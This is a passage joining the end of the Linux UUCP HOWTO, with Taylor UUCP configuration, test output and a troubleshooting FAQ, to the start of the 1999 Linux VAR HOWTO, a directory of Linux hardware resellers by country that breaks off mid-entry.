On recent distributions with mgetty, it's /dev/ttySN while on older distributions it's /dev/cuaN, where N is you serial port:

N starts at 0 & ttyS(N) means COM(N+1), for example, my null-modem is on ttyS1 (COM2) while my modem is on ttyS0 (COM1).

Most of recent modems support hardware flow control, if your doesn't, just uncomment the line "# hardflow n".

4.9 "sys" file

# First some defaults. These are for ALL other entries (unless overridden).
#
protocol gvG
protocol-parameter G packet-size 1024
# protocol-parameter G window 7
protocol-parameter G short-packets

#
# Our remote uucp connection.
#
system polux
call-login *
call-password *
local-send /
local-receive /var/spool/uucppublic
remote-send /
remote-receive /var/spool/uucppublic
time any
phone 0111111110
port ACU
chat "" \r\c ogin:-BREAK-ogin:-BREAK- \L word: \P
#chat "" \d\d\r\c ogin: \d\L word: \P

# This is an alternate - it means that if a connection using the above
# "system polux" fails it falls through to this entry.
# Only useful if your service provider has more then one phone number for UUCP.
#
#alternate polux-2
#alias polux-2
#phone 0222222220

# Here's another alternate - we poll the system over TCP/IP.
# This is useful if we have a PPP connection to our provider.
# The first two entries will fail because the modem is busy & we will poll
# over TCP/IP.
#
#alternate polux-tcp
#alias polux-tcp
#time any
#address uucp.polux
#port TCP
#protocol t

#
# Last example - a system that we poll over TCP/IP.
#
#system horizon
#call-login *
#call-password *
#time any
#chat "" \d\d\r\c ogin: \d\L word: \P
#address uucp.horizon.nl
#port TCP
#protocol t

Here, you must change "polux" by the name of the system you poll & "0111111110" by its phone number.

"polux-2", "polux-tcp" & "horizon" are just examples of user specific needs ; if the system you poll has more than one line, define it as "itsname-2" ; if you call it by PPP sometimes, just define "itsname-tcp" also.

It's useful when chat script fail (busy ...)

4.10 Now let's test all this

First run:

(root@barberouge:uucp)# su uucp
(uucp@barberouge:uucp)# /usr/lib/uucp/uuchk
Local node name barberouge
Spool directory /var/spool/uucp
Public directory /var/spool/uucppublic
Lock directory /var/lock
Log file /var/log/uucp/log
Statistics file /var/log/uucp/stats
Debug file /var/log/uucp/debug
Global debugging level
uucico -l will strip login names and passwords
uucico will strip UUCP protocol commands
Start uuxqt once per uucico invocation

System: polux
 When called using any login name
 Call out using port ACU
 The possible ports are:
  Port name ACU
   Port type modem
   Device /dev/ttyS0
   Speed 57600
   Carrier available
   Hardware flow control available
   Dialer hayes
    Chat script "" ATZ\r\d\c OK\r \dATX4\r\d\c OK\r ATDT\D CONNECT
    Chat script timeout 60
    Chat failure strings RING NO\sCARRIER ERROR NO\sDIALTONE BUSY NO\sANSWER VOICE
    Chat script incoming bytes stripped to seven bits
    Wait for dialtone ,
    Pause while dialing ,
    Carrier available
    Wait 60 seconds for carrier
    When complete chat script "" \d\d+++\d\dATH\r\c
    When complete chat script timeout 60
    When complete chat script incoming bytes stripped to seven bits
    When aborting chat script "" \d\d+++\d\dATH\r\c
    When aborting chat script timeout 60
    When aborting chat script incoming bytes stripped to seven bits
 Phone number 0111111110
 Chat script "" \r\c ogin:-BREAK-ogin:-BREAK- \L word: \P
 Chat script timeout 10
 Chat script incoming bytes stripped to seven bits
 Login name uudan
 Password your_password_here
 At any time may call if any work
 May retry the call up to 26 times
 May make local requests when calling
 May make local requests when called
 May send by local request: /
 May send by remote request: /
 May accept by local request: /var/spool/uucppublic
 May receive by remote request: /var/spool/uucppublic
 May execute /usr/bin/uucp /usr/bin/rmail /usr/bin/rnews
 Execution path /bin /usr/bin /usr/local/bin /usr/sbin
 Will leave 50000 bytes available
 Public directory is /var/spool/uucppublic
 Will use protocols gvG
 For protocol G will use the following parameters
  packet-size 1024
  short-packets

to check if all the informations you've set are correct.

Warning: your mileage may vary ; different distributions use different paths, regardless Linux FSSTD!

If everything is correct, run:

        /usr/sbin/uucico -r 1 -x 9 -s remote_system_name

The -x 9 will have maximum debugging information written to the /var/log/uucp/debug file for help in initial setup.

I normally run -x 4 here since that level logs details that help me with login problems. Obviously, this text contains clear informations from your systems file (account/password) so protect it against world-read.

4.11 Additional informations

>From Pierre.Beyssac at emeraude.syseca.fr

Taylor has more logging levels. Use -x all to get the highest level possible.

Also, do a "tail -f /var/log/uucp/debug" while debugging to watch things happen on the fly.


The Linux UUCP HOWTO: It doesn't work - now what?

 Next Previous Contents

5. It doesn't work - now what?

In general, you can refer to the documentation mentioned above if things don't work.

You can also refer to your more experienced UUCP neighbors for help. Usually, it's something like a typo anyway.


The Linux UUCP HOWTO: Frequently Asked Questions about Linux UUCP

 Next Previous Contents

6. Frequently Asked Questions about Linux UUCP

6.1 Why is all the info here for UUCPs configured in "Taylor" rather than "HDB" mode?

(religious mode on - I know some people are just as religious about "ease of use" as I am about "being standard". That's why they make source code you can build your own from :-) )

Because IMHO it's the de-facto standard UUCP implementation at this time. There are thousands of sites with experienced admins & there are many places you can get incredibly good information concerning the HDB setup.

Moreover, if you know what HDB is, you shouldn't be reading this HOWTO :-)

Use the uuconv utility in /usr/sbin to convert config files from one mode to another.

6.2 Why do I get "timeout" on connections when I upgraded to uucp-1.04?

  • from Ed Carp - erc at apple.com

    If you use a "Direct" device in the Devices file, there's now a 10 second timeout compiled in. Make the name of the Device anything other than "Direct". If you tweak the example /etc/uucp files provided, you won't have problems with this one.

  • from Greg Naber - greg at squally.halcyon.com

    If you get chat script timeouts, you can tweak the sources by editing at line 323 in uuconf/syssub.c & changing the default timeouts from 10 seconds to something larger.

  • from Ed Rodda - ed at orca.wimsey.bc.ca

    If you get chat script timeouts, typically connecting to other Taylor sites, a pause after login can fix this.

    feed Any ACU,ag 38400 5551212 ogin: \c\d "" yourname word: passwd
  • from Dr. Eberhard W. Lisse - el at lisse.NA

    Some kernels experience modems hanging up after a couple of seconds. The following patch sent by Ian Taylor might help.

    *** conn.c.orig Mon Feb 22 20:25:24 1993
--- conn.c      Mon Feb 22 20:33:10 1993
***************
*** 204,209 ****
--- 204,212 ----

     /* Make sure any signal reporting has been done before we set
       fLog_sighup back to TRUE.  */
+   /* SMR: it seems to me if we don't care about SIGHUPS, we should clear
+      the flag before we return  */
+   afSignal[INDEXSIG_SIGHUP] = FALSE;
    ulog (LOG_ERROR, (const char *) NULL);
    fLog_sighup = TRUE;

6.3 Why doesn't HDB anonymous uucp seem to work?

Taylor in HDB mode seems to be sensitive to white space & blank lines. To be safe, make sure that there are no blank lines or trailing spaces in the Permissions file.

Lastly, make sure that you have a file called remote.unknown in /usr/lib/uucp or /etc/uucp & that it's *NOT* executable.

See the O'Reilly & Associates book "Managing UUCP & USENET" for details regarding this file.

6.4 What does "no matching ports found" mean?

In all probability, you are attempting to use a dialer that doesn't exist, or the dialer you've specified in the port files doesn't match up with any valid devices in the dial file.

6.5 What are known good config files for HDB mode?

The following are "known-good" config files for Taylor 1.05 under Linux in HoneyDanBer mode. They work on kernels of 0.99-8 or later. All files should be in /usr/lib/uucp or /etc/uucp unless you've tweaked the sources to put the uucp library elsewhere.

If you *HAVE* put things in non-standard places, be aware that things like sendmail might get very confused. You need to ensure that all communications-related programs agree on your idea of "standard" paths.

#------------- Devices -------------
# make sure the device (cua1 here) matches your system
# cua N = COM N+1
#
# here "scout" is the Digicom Scout Plus 19.2 modem I use
# tbfast etc. is for a Telebit Trailblazer Plus modem's various speeds
#
ACU cua1 - 19200 scout
ACU cua1 - 9600 tbfast
ACU cua1 - 1200 tbslow
ACU cua1 - 2400 tbmed

#------------- dialers --------------
# note the setting of the Trailblazer registers "on the fly"
# "scout" is a Digicom Scout Plus (Hayes-like) modem I use here
#
scout   =W-,    "" ATM0DT\T CONNECT
tbfast  =W-,    "" A\pA\pA\pT OK ATS50=255DT\T CONNECT\sFAST
tbslow  =W-,    "" A\pA\pA\pT OK ATS50=2DT\T CONNECT\s1200
tbmed   =W-,    "" A\pA\pA\pT OK ATS50=3DT\T CONNECT\s2400

#-------------- Systems -------------
# this is a very generic entry that will work for most systems
#
# the Any;1 means that you can call once per minute with using -f (force)
# the ACU,g means force "g" protocol rather than Taylor's default "i"
#
fredsys Any;1 ACU,g 19200 scout5555555 "" \r ogin:--ogin: uanon word: uanon

#-------------------------------- Permissions -------------------------

# Taylor UUCP in HDB mode appears to be sensitive to blank lines.
# Make sure all Permissions lines are real or commented out.
#
# this is a anonymous uucp entry
#
LOGNAME=nuucp MACHINE=OTHER \
READ=/var/spool/uucp/nuucp \
WRITE=/var/spool/uucp/nuucp \
SENDFILES=yes REQUEST=yes \
COMMANDS=/bin/rmail
# # this is a normal setup for a remote system that talks to us
# note the absolute path to rnews since this site puts things
# in locations that aren't "standard"
#
LOGNAME=fredsys MACHINE=fredsys \
READ=/var/spool/uucp/fredsys:/var/spool/uucp/uucppublic:/files \
WRITE=/var/spool/uucp/fredsys:/var/spool/uucppublic \
SENDFILES=yes REQUEST=yes \
COMMANDS=/bin/rmail:/usr/bin/rnews
#----------------------------------------------------------------------

6.6 Getting uucico to call alternate numbers

The new v1.05 has an added '-z' switch to uucico that will try alternate numbers for a remote system.

You can else use Taylor mode & "systemyouarecalling-2" (see "sys" in config. files section for more details)


The Linux UUCP HOWTO: Acknowledgements

 Next Previous Contents

7. Acknowledgements

The following people have helped in the assembly of the information & experience that helped make this document possible:

Ed Carp, Steve Robbins, Ian Taylor, Greg Naber, Matt Welsh, Pierre Beyssac & especially many thanks to Vince Skahan for his huge contribution.

If I forgot anybody, my apologies: just email me.


Linux VAR HOWTO

Mr. Poet poet@linuxports.com

v2.84, 22 August 1999

This document contains a listing of service companies which do not manufacture hardware or create packaged software, but add value to existing products. It is maintained by Mr. Poet poet@linuxports.com.

1. About this document

2. Copyright Information

3. VAR ID: Australia, Cybersource

4. VAR ID: Australia, EMUSYS Unix Consulting

5. VAR ID: Australia, Sydnet Group Pty Ltd

6. VAR ID: Austria, QUANT-X Service & Consulting GmbH

7. VAR ID: Brazil, Millennium Consultoria e Informática Ltda.

8. VAR ID: Canada, Affinity Systems Inc.

9. VAR ID: Canada, Centurion Services

10. VAR ID: Canada, Mediabase

11. VAR ID: Canada, Net Direct Inc.

12. VAR ID: Canada, Softouch Computer Solutions

13. VAR ID: Canada, VL

14. VAR ID: Finland, SOT Finnish Software Engineering Ltd.

15. VAR ID: France, Paralline

16. VAR ID: Germany, IGEL GmbH

17. VAR ID: Germany, IGEL

18. VAR ID: Germany, dynamis EDV-Consulting

19. VAR ID: Hong Kong, Genesis Systems Int'l Ltd.

20. VAR ID: India, G.T.Enterprises

21. VAR ID: Indonesia, PT Cakram DataLingga Duaribu (CDL2000)

22. VAR ID: Italy, Conecta Telematica srl

23. VAR ID: Italy, Nauta Srl - Internet per l'impresa

24. VAR ID: Italy, Studio C

25. VAR ID: Japan, SoftWare Research Co.

26. VAR ID: Malaysia, Linux Resources Sdn. Bhd.

27. VAR ID: Malaysia, MAGNIFIX

28. VAR ID: Malaysia, Malaysian Linux Competency Center Sdn. Bhd.

29. VAR ID: Netherlands, CMG Trade, Transport & Industry

30. VAR ID: Netherlands, X OS Experts in Open Systems BV

31. VAR ID: Poland, Emit Sp z o.o.

32. VAR ID: Romania, EVERCOMM Serv SRL

33. VAR ID: Spain, Innovacion y Futuro s.l.

34. VAR ID: Spain, LANGRE INGENIEROS S.L.

35. VAR ID: Sweden, South Pole AB

36. VAR ID: Taiwan, Whinstone Info. Corp.

37. VAR ID: Turkey, Gelecek Bilisim ve Iletisim A.S

38. VAR ID: US, AZ, Sunset Systems

39. VAR ID: US, CA, ASL Workstations, Inc.

40. VAR ID: US, CA, Linux Laptops Ltd.

41. VAR ID: US, CA, PSSC Labs

42. VAR ID: US, CO, Apache Digital Corporation

43. VAR ID: US, CT, GNUTEC

44. VAR ID: US, FL, eBuilders Network

45. VAR ID: US, IL, Advanced Horizons, Inc

46. VAR ID: US, IL, QLITech Linux COmputers

47. VAR ID: US, IL, QLITech Linux Computers

48. VAR ID: US, IL, WellThot Inc.

49. VAR ID: US, KY, IndyBox Systems, Inc.

50. VAR ID: US, KY, Neville Technologies

51. VAR ID: US, MA, Network Concierge Inc.

52. VAR ID: US, MD, AmNet Computers

53. VAR ID: US, MN, Cranston Software

54. VAR ID: US, MN, Donnal Group Inc

55. VAR ID: US, MO, Atipa Linux Solutions

56. VAR ID: US, MO, Omnitec Corporatin

57. VAR ID: US, NC, ApeX Systems Integration Corp.

58. VAR ID: US, NC, ComputerNet Inc.

59. VAR ID: US, NC, Indelible Blue

60. VAR ID: US, NE, BrainStorm Technologies

61. VAR ID: US, NE, BrainStorm Technologies

62. VAR ID: US, NH, DCG Computers, Inc.

63. VAR ID: US, NON United States, Microway

64. VAR ID: US, NON United States, Telenet System Solutions, Inc.

65. VAR ID: US, NY, Logicept Corporation

66. VAR ID: US, OH, 800Linux

67. VAR ID: US, OH, LANshark Systems, Inc.

68. VAR ID: US, OH, The Computer Underground

69. VAR ID: US, OH, Unique Systems, Inc.

70. VAR ID: US, OR, 3D Technology, Inc.

71. VAR ID: US, PR, OG Consulting

72. VAR ID: US, TX, Computer Innovations International

73. VAR ID: US, TX, Heights Open Systems

74. VAR ID: US, TX, Parachute

75. VAR ID: US, VA, NetSource of Virginia, Inc.

76. VAR ID: US, WA, Cheek Consulting

77. VAR ID: US, WA, Lodgepole Technology

78. VAR ID: United Arab Emirates, JM Infotech Solutions STPI

79. VAR ID: United Kingdom, DGC-NMS

80. VAR ID: United Kingdom, Definite Linux Systems Ltd

81. VAR ID: United Kingdom, Digital Networks

82. VAR ID: United Kingdom, iCode Systems Ltd


Linux VAR HOWTO: About this document

 Next Previous Contents

1. About this document

This is the Linux VAR HOWTO. It contains a listing of service companies which do not manufacture hardware or create packaged software, but add value to existing products. This added value can take many forms, such as installation of Linux on computer hardware, configuration, or custom applications. However, at the moment the Linux VAR HOWTO only contains companies selling preconfigured hardware for the purpose of running Linux. Companies offering other services are invited to contact the maintainer poet@linuxports.com at poets@linuxports.com for a listing.

If you contact any companies listed in this document, please mention the Linux VAR HOWTO.

If you need to know more about the Linux Documentation Project or about Linux HOWTO's, feel free to contact the supervisor Tim Bynum <linux-howto@sunsite.unc.edu>.

Tim Bynum will post the listing to several national and international newsgroups on a monthly basis. In addition, the Linux VAR HOWTO can be found on the World Wide Web at http://www.linuxports.com. New versions of the Linux VAR HOWTO are always placed at this site first, so please be sure to check if the copy you are reading is still up to date!

Companies selling hardware for the purpose of running Linux are invited to fill out the form located at . Companies offering other services should so a more appropriate template can be worked out.


Linux VAR HOWTO: Copyright Information

 Next Previous Contents

2. Copyright Information

This HOWTO s Copyright © 1999 Mr. Poet and LinuxPorts

A verbatim copy may be reproduced or distributed in any medium physical or electronic without permission of the author. Translations are similarly permitted without express permission if it includes a notice on who translated it.

Short quotes may be used without prior consent by the author. Derivative work and partial distributions of the Linux VAR HOWTO must be accompanied with either a verbatim copy of this file.

Commercial redistribution is allowed and encouraged; however, the author would like to be notified of any such distributions.

In short, we wish to promote dissemination of this information through as many channels as possible. However, we do wish to retain copyright on the HOWTO documents, and would like to be notified of any plans to redistribute the HOWTOs.

We further want that all information provided in the HOWTOs is disseminated. If you have questions, please contact Tim Bynum, the Linux HOWTO coordinator, at linux-howto@metalab.unc.edu.


Linux VAR HOWTO: VAR ID: Australia, Cybersource

 Next Previous Contents

3. VAR ID: Australia, Cybersource

Level 8
140 Queen Street
Melbourne, NON United States 3000

Australia

Platform: x86 AXP

Distribution: RedHat

Company Phone Number:

+61 3 9642 5997

Company Fax:

+61 3 9642 5997

Contact Email Address:

info@cyber.com.au

Company URL:

http://www.cyber.com.au

Primary Contact:

Con Zymaris


Linux VAR HOWTO: VAR ID: Australia, EMUSYS Unix Consulting

 Next Previous Contents

4. VAR ID: Australia, EMUSYS Unix Consulting

20 Ivanhoe Rd
Croydon
Sydney, NON United States 2132

Australia

Platform: x86 AXP PPC

Distribution: Caldera Debian RedHat Suse LinuxPPC

Company Phone Number:

+61 2 9798 7604

Company Fax:

+61 2 9798 2854

Contact Email Address:

sales@emusys.com.au

Company URL:

http://www.emusys.com.au

Primary Contact:

Anthony Rumble


Linux VAR HOWTO: VAR ID: Australia, Sydnet Group Pty Ltd

 Next Previous Contents

5. VAR ID: Australia, Sydnet Group Pty Ltd

PO Box 4664

North Rocks, NON United States NSW 2151

Australia

Platform: x86 AXP Sparc M68k

Distribution: Caldera Debian RedHat LinuxRouter UltraPenguin

Company Phone Number:

+61 2 9873 6400

Company Fax:

+61 2 9873 6411

Contact Email Address:

sales@syd.net.au

Company URL:

http://www.syd.net.au

Primary Contact:

Mark Lipscombe


Linux VAR HOWTO: VAR ID: Austria, QUANT-X Service & Consulting GmbH

 Next Previous Contents

6. VAR ID: Austria, QUANT-X Service & Consulting GmbH

Hintnausdorf 14/1

Sankt Veit a.d.Glan, NON United States

Austria

Platform: AXP

Distribution: RedHat

Company Phone Number:

+43 4212 90555-0

Company Fax:

+43 4212 90555-20

Contact Email Address:

office@quant-x.com

Company URL:

http://www.quant-x.com

Primary Contact:

Wolfgang Dreyer


Linux VAR HOWTO: VAR ID: Brazil, Millennium Consultoria e Informática Ltda.

 Next Previous Contents

7. VAR ID: Brazil, Millennium Consultoria e Informática Ltda.

R. Francisco Parolin, 758

Curitiba, NON United States 802220-360

Brazil

Platform: x86

Distribution: RedHat

Company Phone Number:

+55-41-333-5645

Company Fax:

+55-41-333-5645

Contact Email Address:

millennium@millennium.etc.br

Company URL:

http://www.millennium.etc.br

Primary Contact:

André A. C. Santos


Linux VAR HOWTO: VAR ID: Canada, Affinity Systems Inc.

 Next Previous Contents

8. VAR ID: Canada, Affinity Systems Inc.

Box 10, RR 1

Innisfail, AB T4G 1T6

Canada

Platform: x86 AXP

Distribution: Caldera RedHat

Company Phone Number:

1-403-886-4638

Company Fax:

1-403-886-2663

Contact Email Address:

sales@affinity-systems.ab.ca

Company URL:

http://www.affinity-systems.ab.ca

Primary Contact:

James Bourne


Linux VAR HOWTO: VAR ID: Canada, Centurion Services

 Next Previous Contents

9. VAR ID: Canada, Centurion Services

9351 Blundell Road

Richmond, BC V6Y 1K5

Canada

Platform: x86 AXP

Distribution: RedHat Suse

Company Phone Number:

604-279-1857

Company Fax:

604-279-1800

Contact Email Address:

jwalter@home.com

Company URL:

http://www.ipipeline.net/centurion/

Primary Contact:

Mr.Jan Walter


Linux VAR HOWTO: VAR ID: Canada, Mediabase

 Next Previous Contents

10. VAR ID: Canada, Mediabase

3 Shenston rd.
look for new location soon!!
North York, ON m2r 3b3

Canada

Platform: x86

Distribution: Debian RedHat

Company Phone Number:

416-468-5400

Company Fax:

no

Contact Email Address:

mediabase@ihosts.net

Company URL:

http://www.mediabase.ihosts.net

Primary Contact:

Cyrus Hill


Linux VAR HOWTO: VAR ID: Canada, Net Direct Inc.

 Next Previous Contents

11. VAR ID: Canada, Net Direct Inc.

557 Havelock Dr.

Waterloo, ON N2L 4Z1

Canada

Platform: x86 AXP

Distribution: Caldera Debian RedHat

Company Phone Number:

519-579-5006

Company Fax:

519-745-9940

Contact Email Address:

john@netdirect.ca

Company URL:

http://www.netdirect.ca

Primary Contact:

John Van Ostrand


Linux VAR HOWTO: VAR ID: Canada, Softouch Computer Solutions

 Next Previous Contents

12. VAR ID: Canada, Softouch Computer Solutions

5151 3rd Street SE

Calgary, AB T2H2X6

Canada

Platform: x86

Distribution: RedHat

Company Phone Number:

403

Company Fax:

258-0267

Contact Email Address:

sales@softouchcomputer.com

Company URL:

http://www.softouchcomputer.com

Primary Contact:

Al Green


Linux VAR HOWTO: VAR ID: Canada, VL

 Next Previous Contents

13. VAR ID: Canada, VL

221 Britannia

Ottawa, ON K2B 5X1

Canada

Platform: x86

Distribution: RedHat

Company Phone Number:

1 (613) 292-9818

Company Fax:

1 (613) 829-0967

Contact Email Address:

hungvu@netcom.ca

Company URL:

http://

Primary Contact:

Hung Vu


Linux VAR HOWTO: VAR ID: Finland, SOT Finnish Software Engineering Ltd.

 Next Previous Contents

14. VAR ID: Finland, SOT Finnish Software Engineering Ltd.

Hermiankatu 8 E
FIN-33720
TAMPERE, NON United States

Finland

Platform: x86

Distribution: RedHat

Company Phone Number:

+358-3-316 5544

Company Fax:

+358-3-316 5959

Contact Email Address:

linux@sot.com

Company URL:

http://www.bestlinux.net

Primary Contact:

Kai Valijärvi


Linux VAR HOWTO: VAR ID: France, Paralline

 Next Previous Contents

15. VAR ID: France, Paralline

71, avenue des Vosges
-
STRASBOURG, NON United States 67000

France

Platform: x86

Distribution: Suse

Company Phone Number:

33 3 88 14 17 40

Company Fax:

33 3 88 14 17 41

Contact Email Address:

sales@paralline.com

Company URL:

http://www.paralline.com

Primary Contact:

Pierre BRUA


Linux VAR HOWTO: VAR ID: Germany, IGEL GmbH

 Next Previous Contents

16. VAR ID: Germany, IGEL GmbH

Aindlinger Str. 16
Augsburg, NON United States 86167

Germany

Platform: x86

Distribution: Suse

Company Phone Number:

+49-821-7200-200

Company Fax:

+49-821-7200-189

Contact Email Address:

sales@igel.de

Company URL:

http://www.igel.de

Primary Contact:

Mike Finckh


Linux VAR HOWTO: VAR ID: Germany, IGEL

 Next Previous Contents

17. VAR ID: Germany, IGEL

Aindlinger Str. 16

Augsburg, NON United States 86167

Germany

Platform: x86

Distribution: Suse

Company Phone Number:

+49-821-7200-200

Company Fax:

+49-821-7200-189

Contact Email Address:

sales@igel.de

Company URL:

http://www.igel.de

Primary Contact:

Mike Finckh


Linux VAR HOWTO: VAR ID: Germany, dynamis EDV-Consulting

 Next Previous Contents

18. VAR ID: Germany, dynamis EDV-Consulting

Bundschuhstrasse 24

76661 Philippsburg, NON United States

Germany

Platform: x86 AXP

Distribution: Caldera RedHat Suse

Company Phone Number:

+49 7256 9326-0

Company Fax:

+49 7256 9326-90

Contact Email Address:

info@dynamis.de

Company URL:

http://www.dynamis.de

Primary Contact:

Jochen Lillich


Linux VAR HOWTO: VAR ID: Hong Kong, Genesis Systems Int'l Ltd.

 Next Previous Contents

19. VAR ID: Hong Kong, Genesis Systems Int'l Ltd.

5/F., 7/F., Honytex Building
22 Ashley Road, T.S.T.
Kowloon, NON United States

Hong Kong

Platform: AXP

Distribution: RedHat

Company Phone Number:

+852 2815 0728

Company Fax:

+852 2815 0729

Contact Email Address:

info@genesis.com.hk

Company URL:

http://www.genesis.com.hk

Primary Contact:

Gyver Lo


Linux VAR HOWTO: VAR ID: India, G.T.Enterprises

 Next Previous Contents

20. VAR ID: India, G.T.Enterprises

# 912, 14th Main, 4th Cross
Maruthi Circle, Hanumanthanagar
Bangalore, NON United States 560019

India

Platform: x86

Distribution: RedHat

Company Phone Number:

+91-80-6606093

Company Fax:

+91-80-6671407

Contact Email Address:

gtcdrom@vsnl.com

Company URL:

http://www.gtcdrom.com

Primary Contact:

U.M. Taranath


Linux VAR HOWTO: VAR ID: Indonesia, PT Cakram DataLingga Duaribu (CDL2000)

 Next Previous Contents

21. VAR ID: Indonesia, PT Cakram DataLingga Duaribu (CDL2000)

Gunung Batu 131

Bogor, NON United States 16610

Indonesia

Platform: x86

Distribution: RedHat

Company Phone Number:

+62-251-332122

Company Fax:

+62-251-332122

Contact Email Address:

info@cdl2000.or.id

Company URL:

http://www.cdl2000.or.id

Primary Contact:

Maliana Harsoadi


Linux VAR HOWTO: VAR ID: Italy, Conecta Telematica srl

 Next Previous Contents

22. VAR ID: Italy, Conecta Telematica srl

Viale Tricesimo 101/13

Udine, NON United States 33100

Italy

Platform: x86 AXP PPC

Distribution: Debian RedHat Suse LinuxPPC

Company Phone Number:

+39 432 548825

Company Fax:

+39 432 299141

Contact Email Address:

info@conecta.it

Company URL:

http://www.conecta.it/linux

Primary Contact:

Carlo Daffara


Linux VAR HOWTO: VAR ID: Italy, Nauta Srl - Internet per l'impresa

 Next Previous Contents

23. VAR ID: Italy, Nauta Srl - Internet per l'impresa

Viale Tricesimo 181

Udine (UD), NON United States I-33100

Italy

Platform: x86

Distribution: Debian RedHat LinuxRouter

Company Phone Number:

+39 0432 477588

Company Fax:

+39 0432 548314

Contact Email Address:

info@Nauta.it

Company URL:

http://www.Nauta.it

Primary Contact:

Antonio Pezzoni


Linux VAR HOWTO: VAR ID: Italy, Studio C

 Next Previous Contents

24. VAR ID: Italy, Studio C

via Romeo Romei 23

Rome, NON United States 00136

Italy

Platform: x86 AXP Sparc PPC M68k

Distribution: Caldera Debian RedHat Suse LinuxPPC LinuxRouter UltraPenguin

Company Phone Number:

+39639722036

Company Fax:

+39639736598

Contact Email Address:

info@studioc-advertising.com

Company URL:

http://www.studioc-advertising.com

Primary Contact:

Marco Capecci


Linux VAR HOWTO: VAR ID: Japan, SoftWare Research Co.

 Next Previous Contents

25. VAR ID: Japan, SoftWare Research Co.

Hayabusacho 2-11
Chiyodaku
Tokyo, NON United States 102-0092

Japan

Platform: x86

Distribution: Caldera Debian RedHat

Company Phone Number:

81-3-3264-6171

Company Fax:

81-3-3264-0647

Contact Email Address:

info@src.co.jp

Company URL:

http://www.src.co.jp

Primary Contact:

Yossihiro Hayama


Linux VAR HOWTO: VAR ID: Malaysia, Linux Resources Sdn. Bhd.

 Next Previous Contents

26. VAR ID: Malaysia, Linux Resources Sdn. Bhd.

No. 33-1, Jalan 46A/26
Pusat Bandar Taman Sri Rampai
Setapak, NON United States 54000

Malaysia

Platform: x86 AXP Sparc PPC ARM M68k

Distribution: Caldera Debian RedHat Suse LinuxPPC LinuxRouter UltraPenguin

Company Phone Number:

+603-4139010

Company Fax:

+603-4139011

Contact Email Address:

root@ihsan.com

Company URL:

http://linux.ihsan.com

Primary Contact:

Liwauddin Mohamad


Linux VAR HOWTO: VAR ID: Malaysia, MAGNIFIX

 Next Previous Contents

27. VAR ID: Malaysia, MAGNIFIX

2102 Wisma Rampai
Jln 34/26, Taman Seri Rampai, Setapak
Kuala Lumpur, NON United States 53300

Malaysia

Platform: x86

Distribution: RedHat

Company Phone Number:

603 412 1775

Company Fax:

603 412 1550

Contact Email Address:

izauddin@magnifix.com.my

Company URL:

http://www.magnifix.com.my

Primary Contact:

Izauddin Isa


Linux VAR HOWTO: VAR ID: Malaysia, Malaysian Linux Competency Center Sdn. Bhd.

 Next Previous Contents

28. VAR ID: Malaysia, Malaysian Linux Competency Center Sdn. Bhd.

32-A, Jalan Mamanda 7,
Ampang Point
Ampang, NON United States 68000 Selangor

Malaysia

Platform: x86 Sparc

Distribution: RedHat UltraPenguin

Company Phone Number:

+60 3 4571798

Company Fax:

+60 3 4523669

Contact Email Address:

linux@mlcc.com.my

Company URL:

http://www.mlcc.com.my

Primary Contact:

Abd Rahman Johari


Linux VAR HOWTO: VAR ID: Netherlands, CMG Trade, Transport & Industry

 Next Previous Contents

29. VAR ID: Netherlands, CMG Trade, Transport & Industry

Kralingseweg 241-249
Postbus 8566
Rotterdam, NON United States 3009 AN

Netherlands

Platform: x86 AXP Sparc PPC ARM M68k

Distribution: Caldera Debian RedHat Suse LinuxPPC LinuxRouter UltraPenguin

Company Phone Number:

+31.10.2537000

Company Fax:

+31.10.2537032

Contact Email Address:

Henk.Drenth@cmg.nl

Company URL:

http://www.cmg.nl

Primary Contact:

Henk Drenth


Linux VAR HOWTO: VAR ID: Netherlands, X OS Experts in Open Systems BV

 Next Previous Contents

30. VAR ID: Netherlands, X OS Experts in Open Systems BV

Kruislaan 419

Amsterdam, NON United States 1098 VA

Netherlands

Platform: x86 AXP Sparc

Distribution: Debian RedHat Suse

Company Phone Number:

+31 20 6938364

Company Fax:

+31 20 6948204

Contact Email Address:

info@xos.nl

Company URL:

http://www.xos.nl

Primary Contact:

Jos Vos


Linux VAR HOWTO: VAR ID: Poland, Emit Sp z o.o.

 Next Previous Contents

31. VAR ID: Poland, Emit Sp z o.o.

ul. Koszarowa 48/9

Wroclaw, NON United States

Poland

Platform: x86

Distribution:

Company Phone Number:

+48713267026

Company Fax:

+48723289733

Contact Email Address:

kontakt@emit.pl

Company URL:

http://www.emit.pl

Primary Contact:

Ian Carr-de Avelon


Linux VAR HOWTO: VAR ID: Romania, EVERCOMM Serv SRL

 Next Previous Contents

32. VAR ID: Romania, EVERCOMM Serv SRL

Str. Ciucea 8, bl.L18, ap.189
sector 3
Bucharest, NON United States 7400

Romania

Platform: x86

Distribution: RedHat

Company Phone Number:

+40-9-254-4355

Company Fax:

+40-1-345-4355

Contact Email Address:

Mihnea.Stoenescu@evercomm.ro

Company URL:

http://www.evercomm.ro

Primary Contact:

Mihnea Stoenescu


Linux VAR HOWTO: VAR ID: Spain, Innovacion y Futuro s.l.

 Next Previous Contents

33. VAR ID: Spain, Innovacion y Futuro s.l.

Plaza de S'Antigor, 3

Manacor, NON United States 07500

Spain

Platform: x86

Distribution: Caldera

Company Phone Number:

+34 971846014

Company Fax:

+34 971846014

Contact Email Address:

info@i-futuro.com

Company URL:

http://www.i-futuro.com

Primary Contact:

Pascal Peregrina


Linux VAR HOWTO: VAR ID: Spain, LANGRE INGENIEROS S.L.

 Next Previous Contents

34. VAR ID: Spain, LANGRE INGENIEROS S.L.

Castilla 95.

Santander., NON United States 39009

Spain

Platform: x86

Distribution: Suse

Company Phone Number:

34-942-33-56-33

Company Fax:

34-942-35-42-75

Contact Email Address:

arturo@langre.com

Company URL:

http://www.langre.com

Primary Contact:

Arturo Limon


Linux VAR HOWTO: VAR ID: Sweden, South Pole AB

 Next Previous Contents

35. VAR ID: Sweden, South Pole AB

Banvaktsvägen 12

Solna, NON United States 171 48

Sweden

Platform: x86 AXP

Distribution: Debian RedHat Suse

Company Phone Number:

+46 (0)8 566 106 50

Company Fax:

+46 (0)8 566 106 50

Contact Email Address:

info@southpole.se

Company URL:

http://southpole.se

Primary Contact:

Jakob Sandgren


Linux VAR HOWTO: VAR ID: Taiwan, Whinstone Info. Corp.

 Next Previous Contents

36. VAR ID: Taiwan, Whinstone Info. Corp.

4f, No 15, Lane 2
Dong Shing Rd.
Taipei, NON United States 105

Taiwan

Platform: x86 AXP Sparc

Distribution: RedHat

Company Phone Number:

886-2-27492626

Company Fax:

